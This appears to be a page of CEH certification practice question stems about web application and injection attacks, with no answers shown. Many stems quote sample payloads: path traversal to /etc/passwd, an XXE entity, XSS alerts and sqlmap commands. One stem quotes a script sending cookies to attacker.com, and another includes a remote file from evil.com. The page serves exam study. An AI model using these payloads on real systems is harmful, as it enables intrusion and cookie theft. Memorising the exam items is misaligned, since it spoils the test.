CEH Web Application and Injection Attacks — All Questions With Answers

Question 1mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

An analyst observes the following log entry on a web server: GET /../../etc/passwd HTTP/1.1 200. Which type of attack is indicated?

Question 2mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

A web application uses user input in the following PHP code: include($_GET['page'] . '.php');. An attacker submits the URL: http://example.com/index.php?page=../../../../etc/passwd%00. Which two vulnerabilities are being attempted?

Question 3easymultiple choice

Read the full Web Application and Injection Attacks explanation →

An attacker attempts to log into a web application by trying many common passwords for a list of known usernames. Which type of authentication attack is this?

Question 4hardmulti select

Read the full Web Application and Injection Attacks explanation →

A web application is vulnerable to SQL injection. Which THREE of the following techniques can be used to extract data from the database using blind SQL injection?

Question 5hardmultiple choice

Read the full Web Application and Injection Attacks explanation →

A web application uses a parameter 'file' to include server-side files. The following request is intercepted: GET /page.php?file=../../../etc/passwd HTTP/1.1. The response contains the contents of /etc/passwd. This vulnerability is most likely which of the following?

Question 6mediummulti select

Read the full Web Application and Injection Attacks explanation →

Which THREE of the following are common indicators of an ongoing brute-force attack against a web application?

Question 7hardmultiple choice

Read the full Web Application and Injection Attacks explanation →

During a penetration test, a tester uses SQLMap with the following command: 'sqlmap -u "http://target.com/page?id=1" --os-shell'. The target is a Linux server running MySQL. Which SQL injection technique will SQLMap likely attempt to use to achieve an OS shell?

Question 8easymultiple choice

Read the full Web Application and Injection Attacks explanation →

Which OWASP Top 10 (2021) category describes the vulnerability where an application allows an attacker to include a remote file from an external server, leading to code execution or data disclosure?

Question 9mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

A security analyst identifies a vulnerability where an attacker can include a local file such as '/etc/passwd' by manipulating the 'page' parameter in the URL: http://example.com/index.php?page=../../../../etc/passwd. What type of attack is this?

Question 10hardmultiple choice

Read the full Web Application and Injection Attacks explanation →

During a security assessment, a tester discovers an endpoint that reflects the 'User-Agent' header in the response without sanitization. The tester wants to confirm a reflected XSS vulnerability. Which of the following payloads would be MOST effective to demonstrate the issue in a single request?

Question 11mediummulti select

Read the full Web Application and Injection Attacks explanation →

An application uses the SameSite cookie attribute. Which THREE of the following are valid values for this attribute and their purposes? (Select three)

Question 12easymulti select

Read the full Web Application and Injection Attacks explanation →

Which TWO of the following are common indicators of a command injection vulnerability? (Select 2)

Question 13easymultiple choice

Read the full Web Application and Injection Attacks explanation →

Which of the following is a primary defense mechanism against Cross-Site Request Forgery (CSRF) attacks?

Question 14mediummulti select

Read the full Web Application and Injection Attacks explanation →

A penetration tester is assessing a web application and wants to manually test for SQL injection vulnerabilities. Which TWO tools or techniques are best suited for this task?

Question 15easymulti select

Read the full Web Application and Injection Attacks explanation →

Which TWO of the following are common types of SQL injection attacks?

Question 16mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

During a web application penetration test, a tester uses Burp Suite's Intruder tool to automate a series of login attempts using a list of common passwords. Which attack type is being performed?

Question 17easymultiple choice

Read the full Web Application and Injection Attacks explanation →

An attacker exploits an application by uploading a file that contains server-side script code, leading to arbitrary command execution on the web server. Which best describes this attack?

Question 18easymulti select

Read the full Web Application and Injection Attacks explanation →

Which TWO of the following are common methods to detect SQL injection vulnerabilities in a web application? (Select 2)

Question 19hardmulti select

Read the full Web Application and Injection Attacks explanation →

A pentester uses Burp Suite's Intruder to perform a brute-force attack on a login form. Which TWO of the following Intruder attack types would be appropriate for testing different payload combinations?

Question 20hardmulti select

Read the full Web Application and Injection Attacks explanation →

A web application uses cookies for session management. The application is vulnerable to CSRF. Which THREE of the following are effective mitigation techniques? (Choose THREE.)

Question 21mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

A security analyst notices that the web application returns different response times when a valid username is submitted versus an invalid one during login. Which type of vulnerability is likely being exploited?

Question 22easymultiple choice

Read the full Web Application and Injection Attacks explanation →

Which of the following tools is commonly used to automate the detection and exploitation of SQL injection vulnerabilities?

Question 23hardmultiple choice

Read the full Web Application and Injection Attacks explanation →

A penetration tester intercepts the following request using Burp Suite: POST /change_password HTTP/1.1 Host: example.com Cookie: sessionid=abc123; SameSite=Lax Content-Type: application/x-www-form-urlencoded new_password=Hacker123 The tester successfully crafts a CSRF attack by embedding a hidden form in a malicious page. Which mitigation is most likely missing?

Question 24mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

A web application allows users to upload profile pictures. An attacker uploads a file named "profile.php" containing malicious PHP code. When the attacker visits the uploaded file's URL, the code executes. Which vulnerability is being exploited?

Question 25hardmultiple choice

Read the full Web Application and Injection Attacks explanation →

During a penetration test, a tester uses the following payload in a search field: <script>alert(document.cookie)</script>. The payload is reflected in the response without sanitization. However, the tester notices that the attack only works when the payload is submitted via a POST request, not GET. Which type of XSS is this?

Question 26easymultiple choice

Read the full Web Application and Injection Attacks explanation →

Which of the following is the primary purpose of using a CSRF token in a web application?

Question 27mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

Which Burp Suite tool is most appropriate for modifying and re-sending a single HTTP request multiple times with different payloads to test for SQL injection?

Question 28hardmultiple choice

Read the full Web Application and Injection Attacks explanation →

A penetration tester finds that a web application accepts XML input and returns the parsed data in the response. The tester submits the following payload: <?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>. The server returns the contents of /etc/passwd. Which vulnerability is being exploited?

Question 29mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

A security analyst wants to check if a web application is vulnerable to Server-Side Request Forgery (SSRF). Which of the following actions would be most effective?

Question 30mediummulti select

Read the full Web Application and Injection Attacks explanation →

Which TWO of the following are effective mitigations against Cross-Site Request Forgery (CSRF)?

Question 31easymulti select

Read the full Web Application and Injection Attacks explanation →

Which TWO of the following are characteristics of stored (persistent) XSS?

Question 32mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

A security analyst observes that after a user submits a comment on a blog, the comment is displayed immediately on the page without sanitization. Another user visits the page and the comment's JavaScript executes in their browser. Which type of XSS attack is this?

Question 33easymultiple choice

Read the full Web Application and Injection Attacks explanation →

Which of the following tools is primarily used for automated SQL injection exploitation and database fingerprinting?

Question 34mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

A penetration tester needs to perform a brute-force attack on a web application login form. Which Burp Suite tool is specifically designed for automating parameterized attacks like password guessing?

Question 35mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

Which of the following is a recommended defense against Cross-Site Request Forgery (CSRF) attacks?

Question 36hardmultiple choice

Read the full Web Application and Injection Attacks explanation →

A tester sends the following payload to a web application: %3Cscript%3Ealert('XSS')%3C/script%3E. The application echoes back the decoded payload in the response without sanitization. This behavior is typical of which type of vulnerability?

Question 37easymultiple choice

Read the full Web Application and Injection Attacks explanation →

An attacker discovers that a web application's login form allows unlimited login attempts. The attacker uses a list of usernames and passwords obtained from a previous breach to gain access. This attack is known as:

Question 38mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

A penetration tester is assessing a web application and notices that the application reflects the User-Agent header in the response body without sanitization. What attack could be performed using this behavior?

Question 39hardmultiple choice

Read the full Web Application and Injection Attacks explanation →

An attacker sends a request to a web server with the following header: X-Forwarded-For: 127.0.0.1. The server processes the request as if it came from localhost and grants administrative access. This is an example of:

Question 40easymultiple choice

Read the full Web Application and Injection Attacks explanation →

Which of the following is a symptom of a successful command injection attack?

Question 41mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

A web developer wants to mitigate CSRF attacks. Which of the following configurations for cookies is most effective when combined with CSRF tokens?

Question 42hardmultiple choice

Read the full Web Application and Injection Attacks explanation →

During an assessment, a tester discovers that the web application accepts XML input and returns the parsed data. The tester submits the following payload: <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>. The response contains the contents of /etc/passwd. This vulnerability is known as:

Question 43mediummulti select

Read the full Web Application and Injection Attacks explanation →

Which TWO of the following are effective defenses against SQL injection attacks?

Question 44hardmulti select

Read the full Web Application and Injection Attacks explanation →

Which THREE of the following are valid methods to exploit or test for Server-Side Request Forgery (SSRF)?

Question 45mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

A security analyst notices that after submitting a form on a web application, the URL changes to include the user's ID parameter, e.g., 'user?id=123'. The analyst modifies the ID in the URL and accesses another user's profile without authorization. Which type of vulnerability is being exploited?

Question 46easymultiple choice

Read the full Web Application and Injection Attacks explanation →

Which Burp Suite tool is specifically designed to automate customized attacks on web applications, such as brute-forcing login forms or fuzzing parameters?

Question 47mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

A web application allows users to upload profile pictures. The application uses the filename provided by the user to save the file on the server. An attacker uploads a file named 'malicious.php%00.png' and the server saves it as 'malicious.php'. Which vulnerability is being exploited?

Question 48easymultiple choice

Read the full Web Application and Injection Attacks explanation →

Which of the following is the BEST defense against brute-force attacks on a login form?

Question 49mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

A penetration tester discovers that a web application includes the following code: 'include($_GET['page'] . '.php');' and the application is running on a Linux server. The tester attempts to exploit this by accessing 'index.php?page=../../etc/passwd'. What type of attack is this, and will it succeed?

Question 50hardmultiple choice

Read the full Web Application and Injection Attacks explanation →

An attacker wants to perform a CSRF attack against a banking application. The application uses SameSite cookies set to 'Strict'. The attacker hosts a malicious page on their own domain. When the victim visits the malicious page, which of the following statements is TRUE regarding the CSRF attack?

Question 51mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

A web application uses XML to transmit data between client and server. A tester submits the following payload: '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>'. The application returns the content of the /etc/passwd file in the response. Which vulnerability is present?

Question 52mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

During a web application test, an analyst intercepts a request containing a 'Referer' header that points to a different domain. The analyst modifies the request by removing the 'Referer' header and the action still executes successfully. Which type of attack is the analyst testing?

Question 53easymultiple choice

Read the full Web Application and Injection Attacks explanation →

Which of the following is a common indicator of a stored (persistent) Cross-Site Scripting (XSS) attack?

Question 54hardmultiple choice

Read the full Web Application and Injection Attacks explanation →

A web application firewall (WAF) blocks requests containing ' UNION SELECT '. A penetration tester wants to bypass this restriction to perform a union-based SQL injection. Which of the following techniques is MOST likely to succeed?

Question 55mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

An organization wants to prevent directory listing on its Apache web server. Which of the following configuration changes would achieve this?

Question 56mediummulti select

Read the full Web Application and Injection Attacks explanation →

Which TWO of the following are effective mitigations against Clickjacking attacks? (Choose 2)

Question 57hardmulti select

Read the full Web Application and Injection Attacks explanation →

Which THREE of the following are types of SQL injection attacks? (Choose 3)

Question 58easymulti select

Read the full Web Application and Injection Attacks explanation →

Which TWO of the following are common tools used for web application security testing? (Choose 2)

Question 59easymultiple choice

Read the full Web Application and Injection Attacks explanation →

A security analyst notices that a web application returns different page sizes when a valid user ID is submitted versus an invalid one in the URL parameter. Which type of vulnerability is most likely being exploited?

Question 60easymultiple choice

Read the full Web Application and Injection Attacks explanation →

Which of the following tools is specifically designed to automate the process of detecting and exploiting SQL injection vulnerabilities in web applications?

Question 61mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

During a web application penetration test, a tester submits a comment containing '<script>alert("XSS")</script>' and the script executes for all users who view the comment. Which type of cross-site scripting (XSS) vulnerability is present?

Question 62mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

A web application uses a URL parameter to fetch a file from the server, e.g., 'download.php?file=report.pdf'. An attacker changes the parameter to '../../etc/passwd' and retrieves the password file. This attack is known as:

Question 63mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

Which of the following is the most effective defense against Cross-Site Request Forgery (CSRF) attacks?

Question 64hardmultiple choice

Read the full Web Application and Injection Attacks explanation →

An attacker intercepts a request and notices that the server reflects the value of the 'User-Agent' header in the response without sanitization. The attacker crafts a payload that triggers an alert box. This is an example of:

Question 65mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

In Burp Suite, which tool is used to modify and resend individual HTTP requests to observe responses, allowing manual testing of input validation and parameter manipulation?

Question 66hardmultiple choice

Read the full Web Application and Injection Attacks explanation →

A penetration tester finds that a web application allows uploading a file with the name '../../var/www/html/shell.php'. The file is successfully written to the server. Which combination of vulnerabilities does this exploit?

Question 67mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

Which of the following best describes a Server-Side Request Forgery (SSRF) attack?

Question 68hardmultiple choice

Read the full Web Application and Injection Attacks explanation →

A web application uses XML to transfer data. An attacker submits the following payload: '<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>'. What vulnerability is being exploited?

Question 69easymultiple choice

Read the full Web Application and Injection Attacks explanation →

Which of the following is a common defense against clickjacking attacks?

Question 70mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

A security analyst observes the following in Apache access logs: 'GET /cgi-bin/test.cgi?cmd=id HTTP/1.1' 200. This is most likely an attempt at which attack?

Question 71mediummulti select

Read the full Web Application and Injection Attacks explanation →

Which TWO of the following are types of SQL injection? (Select 2)

Question 72hardmulti select

Read the full Web Application and Injection Attacks explanation →

Which THREE of the following are effective mitigations against brute force attacks on web application login forms? (Select 3)

Question 73mediummulti select

Read the full Web Application and Injection Attacks explanation →

Which TWO of the following attacks can be prevented by properly validating and sanitizing user input? (Select 2)

Question 74mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

A security analyst notices that the web application returns different response times when querying user IDs. For example, a valid user ID returns the page in 2 seconds, while an invalid ID returns in 0.5 seconds. The analyst suspects a blind SQL injection vulnerability. Which SQL injection technique is MOST likely being used?

Question 75mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

During a web application penetration test, a tester uses Burp Suite's Repeater tool to manually manipulate a request and observe the response. After sending the same request multiple times, the application returns a 302 redirect pointing to a login page. What is the MOST likely cause?

Question 76hardmultiple choice

Read the full Web Application and Injection Attacks explanation →

A penetration tester is testing an IIS web server and wants to exploit a WebDAV misconfiguration to upload a web shell. Which HTTP method should the tester check to determine if WebDAV is enabled and allows file uploads?

Question 77easymultiple choice

Read the full Web Application and Injection Attacks explanation →

Which of the following is a primary purpose of the SameSite cookie attribute in mitigating CSRF attacks?

Question 78mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

A penetration tester is using SQLMap to automate exploitation of a SQL injection vulnerability found in a login form. The tester wants to retrieve the names of all databases on the backend MySQL server. Which SQLMap flag should be used?

Question 79hardmultiple choice

Read the full Web Application and Injection Attacks explanation →

During a penetration test, the tester finds that the Apache server is configured with directory listing enabled on the /uploads directory. The tester navigates to http://example.com/uploads/ and sees a list of files. Which of the following is the MOST immediate security concern?

Question 80mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

A web application is vulnerable to server-side request forgery (SSRF). An attacker sends a request that causes the server to make an internal HTTP request to http://169.254.169.254/latest/meta-data/. What is the attacker attempting to achieve?

Question 81easymultiple choice

Read the full Web Application and Injection Attacks explanation →

Which of the following describes the difference between reflected and stored (persistent) cross-site scripting (XSS)?

Question 82mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

A security analyst observes that a web application allows users to submit feedback, and after submission, the feedback is displayed on a public page. An attacker submits feedback containing the script: <script>document.location='http://attacker.com/?c='+document.cookie</script>. When an admin views the public page, the script executes. Which type of attack occurred?

Question 83mediummulti select

Read the full Web Application and Injection Attacks explanation →

Which TWO of the following are effective defenses against CSRF attacks? (Choose 2.)

Question 84hardmulti select

Read the full Web Application and Injection Attacks explanation →

Which THREE of the following are common indicators of an SQL injection attack? (Choose 3.)

Question 85mediummulti select

Read the full Web Application and Injection Attacks explanation →

Which TWO of the following are valid techniques used in password spraying attacks? (Choose 2.)

Question 86mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

A security analyst notices that a web application returns different HTTP responses for valid and invalid usernames during login. Which attack is this behavior most likely facilitating?

Question 87easymultiple choice

Read the full Web Application and Injection Attacks explanation →

Which of the following tools is specifically designed to automate the detection and exploitation of SQL injection vulnerabilities?

Question 88mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

A penetration tester discovers that a web application's search functionality reflects user input directly in the page source without sanitization. The tester crafts a URL like http://example.com/search?q=<script>alert('XSS')</script> and the script executes. This is an example of which type of XSS?

Question 89hardmultiple choice

Read the full Web Application and Injection Attacks explanation →

During a web application assessment, a tester intercepts a request and modifies the 'Referer' header. The application then performs a state-changing action without requiring a token. Which vulnerability is most likely present?

Question 90mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

A web application allows users to access files using parameters like 'file=report.pdf'. A tester changes the parameter to '../../etc/passwd' and retrieves the system password file. This is an example of which attack?

Question 91easymultiple choice

Read the full Web Application and Injection Attacks explanation →

A security team is implementing measures to prevent cross-site request forgery (CSRF) attacks. Which of the following is the most effective mitigation technique?

Question 92mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

An analyst notices that a web application's login page returns a generic 'Invalid credentials' message regardless of whether the username is valid. This is an example of which security control?

Question 93hardmultiple choice

Read the full Web Application and Injection Attacks explanation →

A web server is configured with WebDAV and allows PUT requests. An attacker uploads a .asp file and accesses it to execute code. Which tool or method is most directly associated with exploiting this misconfiguration?

Question 94mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

A penetration tester uses a tool to intercept and modify HTTP/HTTPS requests in real-time between the browser and the web application. Which tool is being used?

Question 95mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

An application is vulnerable to server-side request forgery (SSRF). An attacker exploits this to access internal services. Which of the following is a common indicator of SSRF?

Question 96easymultiple choice

Read the full Web Application and Injection Attacks explanation →

Which of the following best describes the attack where an attacker uses a valid session token to impersonate a user without needing to authenticate?

Question 97hardmulti select

Read the full Web Application and Injection Attacks explanation →

A security analyst is reviewing a web application log and sees the following request: GET /page?file=../../../etc/passwd HTTP/1.1. Which TWO vulnerabilities are most likely being attempted? (Select two)

Question 98mediummulti select

Read the full Web Application and Injection Attacks explanation →

Which THREE of the following are common types of SQL injection attacks? (Select three)

Question 99hardmulti select

Read the full Web Application and Injection Attacks explanation →

During a penetration test, a tester observes that a web application's login form does not implement rate limiting and returns different error messages for valid vs invalid usernames. Which THREE attacks are most likely to be successful? (Select three)

Question 100mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

A security analyst notices that a web application returns different error messages for valid and invalid usernames during login. Which type of attack is this application MOST vulnerable to?

Question 101mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

During a penetration test, you identify a parameter in a web application that appears to fetch a file from the server. You modify the parameter to '../../../etc/passwd' and see the contents of the passwd file. Which type of vulnerability is this?

Question 102easymultiple choice

Read the full Web Application and Injection Attacks explanation →

Which of the following is the BEST defense against Cross-Site Request Forgery (CSRF) attacks?

Question 103mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

A web application allows users to submit feedback that is stored in a database and displayed to other users without proper sanitization. A tester inputs '<script>alert(1)</script>' and it executes when other users view the feedback. Which type of XSS is this?

Question 104hardmultiple choice

Read the full Web Application and Injection Attacks explanation →

A penetration tester uses SQLMap with the following command: sqlmap -u 'http://target.com/page.php?id=1' --batch --dbs. Which database enumeration technique is SQLMap using by default?

Question 105mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

A web server is found to have directory listing enabled for the /uploads folder. An attacker discovers a shell.php file uploaded earlier. Which attack is the attacker MOST likely to perform next?

Question 106mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

A security team wants to test their web application for vulnerabilities. Which Burp Suite tool is BEST suited for automating attacks like brute-force or fuzzing?

Question 107hardmultiple choice

Read the full Web Application and Injection Attacks explanation →

A web application has an endpoint that takes a URL parameter and fetches content from that URL, returning it to the user. An attacker supplies 'file:///etc/passwd' and reads the server's passwd file. Which vulnerability is this?

Question 108easymultiple choice

Read the full Web Application and Injection Attacks explanation →

Which of the following is a primary defense against SQL injection attacks?

Question 109mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

An attacker performs a password spraying attack against a web application. Which of the following BEST describes this technique?

Question 110mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

A penetration tester finds that a web application includes files based on user input without proper validation. The tester supplies 'http://attacker.com/malicious.txt' and the application includes its content. Which vulnerability is this?

Question 111hardmultiple choice

Read the full Web Application and Injection Attacks explanation →

A web application uses an XML parser to process user-supplied XML documents. An attacker submits the following payload: <?xml version='1.0'?><!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><root>&xxe;</root>. Which vulnerability is being exploited?

Question 112mediummulti select

Read the full Web Application and Injection Attacks explanation →

Which TWO of the following are characteristics of a reflected Cross-Site Scripting (XSS) attack? (Select 2)

Question 113easymulti select

Read the full Web Application and Injection Attacks explanation →

Which TWO of the following are commonly used to mitigate SQL injection vulnerabilities? (Select 2)

Question 114hardmulti select

Read the full Web Application and Injection Attacks explanation →

Which THREE of the following are valid defenses against CSRF attacks? (Select 3)

Question 115mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

During a web application penetration test, a security analyst intercepts a request using Burp Suite and notices the following parameter in the URL: /profile?user_id=123. By changing the user_id to 124, the analyst is able to view another user's profile. Which vulnerability is being exploited?

Question 116hardmultiple choice

Read the full Web Application and Injection Attacks explanation →

A security team discovers that their web application is vulnerable to a Server-Side Request Forgery (SSRF) attack. Which of the following is the MOST effective mitigation technique to prevent SSRF?

Question 117easymultiple choice

Read the full Web Application and Injection Attacks explanation →

Which of the following tools is specifically designed to automate the exploitation of SQL injection vulnerabilities and retrieve data from databases?

Question 118mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

A penetration tester identifies a web page that reflects user input in the response without proper encoding. The input is submitted via a GET parameter. Which type of cross-site scripting (XSS) is MOST likely present?

Question 119mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

A security analyst is reviewing HTTP response headers and notices the following: Set-Cookie: sessionId=abc123; SameSite=Lax. What is the primary purpose of the SameSite attribute?

Question 120mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

During a penetration test, you find a web application that includes files using a parameter like /index.php?page=about. When you change the parameter to /etc/passwd, the application returns the contents of the password file. Which vulnerability is present?

Question 121easymultiple choice

Read the full Web Application and Injection Attacks explanation →

Which HTTP method is commonly used by WebDAV to upload files to a web server, and if misconfigured, could allow an attacker to upload malicious scripts?

Question 122hardmultiple choice

Read the full Web Application and Injection Attacks explanation →

A web application takes a URL from user input and fetches the content to display on the page. An attacker submits a URL pointing to an internal service like http://localhost:8080/admin. The server retrieves the internal resource and returns it. What is this attack?

Question 123easymultiple choice

Read the full Web Application and Injection Attacks explanation →

Which of the following Burp Suite tools is used to automatically fuzz web application inputs and identify common vulnerabilities like SQL injection and XSS?

Question 124mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

A penetration tester attempts a SQL injection on a login form and receives no error messages, but notices a delay in the server response when injecting ' OR SLEEP(5)--. Which type of SQL injection is this?

Question 125hardmultiple choice

Read the full Web Application and Injection Attacks explanation →

After a security incident, logs show repeated login attempts from different IP addresses using a list of common passwords against a single username. Which attack technique is being used?

Question 126mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

A web application allows users to upload profile images. An attacker uploads a file named 'image.php.png' with malicious PHP code, and the server executes it as PHP. Which type of vulnerability is this?

Question 127mediummulti select

Read the full Web Application and Injection Attacks explanation →

Which TWO of the following are effective defenses against Cross-Site Request Forgery (CSRF) attacks? (Select 2)

Question 128hardmulti select

Read the full Web Application and Injection Attacks explanation →

Which THREE of the following are types of SQL injection attacks? (Select 3)

Question 129mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

A web application tester notices that the application reflects user input in the URL without proper encoding. The tester submits a payload <script>alert('xss')</script> in a search field and the script executes in the browser. Which type of XSS vulnerability is this MOST likely?

Question 130mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

During a penetration test, a security analyst discovers that a web application uses sequential numeric identifiers in URLs (e.g., /profile?id=100). By modifying the id parameter, the analyst can access another user's profile data without authorization. Which vulnerability is being exploited?

Question 131easymultiple choice

Read the full Web Application and Injection Attacks explanation →

Which of the following tools is specifically designed to automate the detection and exploitation of SQL injection vulnerabilities in web applications?

Question 132hardmultiple choice

Read the full Web Application and Injection Attacks explanation →

An application allows users to upload XML files for processing. A tester uploads the following payload: <?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>. The server returns the contents of /etc/passwd. Which attack is being performed?

Question 133mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

A security analyst observes that a web application's login page responds with different HTTP status codes and response times for valid versus invalid usernames. This information leakage could be used to perform which type of authentication attack?

Question 134mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

A penetration tester uses Burp Suite Repeater to manually modify and resend HTTP requests to a web server. In which phase of the testing methodology is this tool most commonly employed?

Question 135hardmultiple choice

Read the full Web Application and Injection Attacks explanation →

While analyzing web server logs, an analyst finds the following entry: GET /../../../../etc/passwd HTTP/1.1 with a 200 OK response. Which vulnerability is indicated, and what is the MOST likely impact?

Question 136mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

Which of the following describes a Server-Side Request Forgery (SSRF) attack?

Question 137easymultiple choice

Read the full Web Application and Injection Attacks explanation →

A web application tester uses the following Burp Suite feature to automatically send multiple requests with different payloads to test for common vulnerabilities. Which feature is being used?

Question 138hardmultiple choice

Read the full Web Application and Injection Attacks explanation →

An attacker exploits a vulnerable parameter in a web application by submitting the following payload: http://target.com/page.php?file=http://evil.com/shell.txt. The server returns the contents of the remote file. This is an example of which type of attack?

Question 139mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

A security analyst discovers that a web application's search box reflects user input without proper sanitization. However, the attacker must trick a victim into clicking a crafted link containing the malicious script. This vulnerability is classified as which type?

Question 140hardmulti select

Read the full Web Application and Injection Attacks explanation →

Which THREE of the following are effective mitigation techniques against Cross-Site Scripting (XSS) attacks?

Question 141hardmultiple choice

Read the full Web Application and Injection Attacks explanation →

An analyst reviews a web server log and sees the following request: GET /search?q=<script>alert('xss')</script> HTTP/1.1. The response from the server includes the search term inside a <div> tag without any sanitization. Which type of XSS vulnerability does this indicate?

Question 142mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

A penetration tester uses SQLMap with the following command: sqlmap -u 'http://target.com/page?id=1' --batch --dbs. Which of the following best describes what this command will do?

Question 143easymultiple choice

Read the full Web Application and Injection Attacks explanation →

An attacker attempts to exploit a web application by sending a request that triggers the server to make an internal HTTP request to a sensitive internal service. Which type of attack is this?

Question 144mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

A security analyst notices that a web application uses sequential numeric IDs for user accounts (e.g., /profile?id=1001). By changing the ID to 1002, the analyst can view another user's profile. Which vulnerability is present?

Question 145hardmultiple choice

Read the full Web Application and Injection Attacks explanation →

An analyst reviews the following HTTP response: HTTP/1.1 200 OK Set-Cookie: sessionid=abc123; SameSite=None; Secure ... <html><body><p>Welcome back!</p></body></html>. What possible vulnerability exists if the application does not use CSRF tokens?

Question 146mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

Which of the following is the most effective defense against SQL injection attacks?

Question 147hardmultiple choice

Read the full Web Application and Injection Attacks explanation →

A security engineer observes that an internal web application uses XML to transmit data between systems. The engineer discovers that by sending a crafted XML payload, they can read sensitive files from the server's filesystem. Which attack is being performed?

Question 148easymultiple choice

Read the full Web Application and Injection Attacks explanation →

Which Burp Suite tool is specifically designed to intercept and modify HTTP(S) traffic between the browser and the target web application?

Question 149mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

A web application allows users to submit feedback that is stored in a database and later displayed to administrators. An attacker submits feedback containing <script>alert('stored')</script>. When an admin views the feedback page, the script executes. Which type of XSS is this?

Question 150mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

An attacker uses the following URL pattern to access files: http://example.com/../../etc/passwd. Which attack is being attempted?

Question 151mediummulti select

Read the full Web Application and Injection Attacks explanation →

Which TWO of the following are effective mitigations against Cross-Site Request Forgery (CSRF) attacks? (Select 2)

Question 152hardmulti select

Read the full Web Application and Injection Attacks explanation →

Which THREE of the following are common indicators of a Server-Side Request Forgery (SSRF) vulnerability? (Select 3)

Question 153mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

A security analyst observes a web application returning database error messages containing table names and column names in the HTTP response. Which type of SQL injection is MOST likely being exploited?

Question 154mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

During a web application test, a penetration tester intercepts a request using Burp Suite Proxy, modifies the 'Referer' header, and resends the request. The application processes the request despite the modified header. Which attack is the tester attempting to validate?

Question 155easymultiple choice

Read the full Web Application and Injection Attacks explanation →

A web application allows users to view documents by specifying a filename in the URL, e.g., /getDocument?file=report.pdf. A tester changes the file parameter to '../../etc/passwd' and retrieves the system password file. Which vulnerability is being exploited?

Question 156hardmultiple choice

Read the full Web Application and Injection Attacks explanation →

A penetration tester uses SQLMap with the option '--technique=T --dbms=MySQL --level=5 --risk=3' against a login form. The tool returns results after a delay of several seconds per request. Which SQL injection technique is being used?

Question 157mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

A security team deployed a web application firewall (WAF) that blocks requests containing SQL keywords like 'SELECT', 'UNION', and 'DROP'. An attacker bypasses the WAF by encoding the payload in base64 and using a SQL injection tool that decodes it server-side. Which mitigation would be MOST effective against this?

Question 158easymultiple choice

Read the full Web Application and Injection Attacks explanation →

Which Burp Suite tool is specifically designed to automate customized attacks against web applications, such as brute-forcing login credentials or fuzzing parameters?

Question 159mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

A penetration tester discovers that a web application's login page does not enforce rate limiting and several usernames are known from a prior data breach. The tester wants to try a few common passwords across many accounts to avoid account lockouts. Which attack technique is being used?

Question 160hardmultiple choice

Read the full Web Application and Injection Attacks explanation →

A web server running IIS 8.5 is found to have WebDAV enabled with write permissions. Which attack is MOST likely to be successful against this configuration?

